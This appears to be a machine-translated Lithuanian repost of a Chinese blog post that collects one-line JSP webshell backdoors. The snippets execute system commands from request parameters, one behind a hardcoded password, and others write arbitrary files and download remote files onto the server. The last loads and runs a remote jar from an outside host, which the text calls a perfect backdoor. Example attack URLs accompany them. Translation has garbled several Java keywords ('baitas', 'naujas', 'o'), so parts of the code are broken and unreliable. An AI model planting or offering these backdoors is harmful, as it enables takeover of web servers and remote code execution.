|
|
Paskelbta 2015-01-02 18:46:57
|
|
|
|

Perkelta iš: http://p2j.cn/?p=1627 1. Vykdykite sistemos komandas: Vykdykite sistemos komandas be aido: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Užklausa: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Po vykdymo nebus aido, o tai labai patogu atšokusiems apvalkalams. Yra aidai su slaptažodžio patvirtinimu: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; baitas[] b = naujas baitas[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(nauja eilutė(b)); } out.print("</pre>"); }%> Užklausa: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Užkoduokite eilutę ir įrašykite ją į nurodytą failą: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Užklausa: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Rašykite į žiniatinklio katalogą: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Užklausa: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Užklausa: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Rašykite į žiniatinklio katalogą: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Užklausa: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Atsisiųskite nuotolinį failą (jei nenaudojate "Apache io utils", negalite konvertuoti įvesties srauto į baitą, todėl jis labai ilgas...) <% java.io.InputStream in = naujas java.net.URL(request.getParameter("u")).openStream(); baitas[] b = naujas baitas[1024]; java.io.ByteArrayOutputStream baos = naujas java.io.ByteArrayOutputStream(); int a = -1; o ((a = in.read(b)) != -1) { baos.write(b, 0, a); } naujas java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Užklausa: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Atsisiųsti į žiniatinklio kelią: <% java.io.InputStream in = naujas java.net.URL(request.getParameter("u")).openStream(); baitas[] b = naujas baitas[1024]; java.io.ByteArrayOutputStream baos = naujas java.io.ByteArrayOutputStream(); int a = -1; o ((a = in.read(b)) != -1) { baos.write(b, 0, a); } naujas java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Užklausa: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Keturi: Atspindys kviečia išorinį stiklainį, tobulas galinės durys Jei jums nepatinka, kad aukščiau pateikta užpakalinių durų funkcija yra per silpna ir pasenusi, galite išbandyti tai: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Užklausa: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Virtuvinio peilio jungtis: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, slaptažodis 023.
Sprendimas: Naudokite atspindį, kad įkeltumėte išorinį indelį į dabartinę programą, o atspindys vykdys išvesties apdorojimo rezultatą. request.getParameterMap() yra visi prašomi parametrai. Kadangi išorinis jar paketas yra įkeltas, serveris turi turėti prieigą prie šio jar adreso. |
Ankstesnis:TXT tekstinio failo krizėKitą:Java MD5 šifravimas, Base64 šifravimas ir iššifravimas Java vykdo sistemos komandų šaltinio kodą
|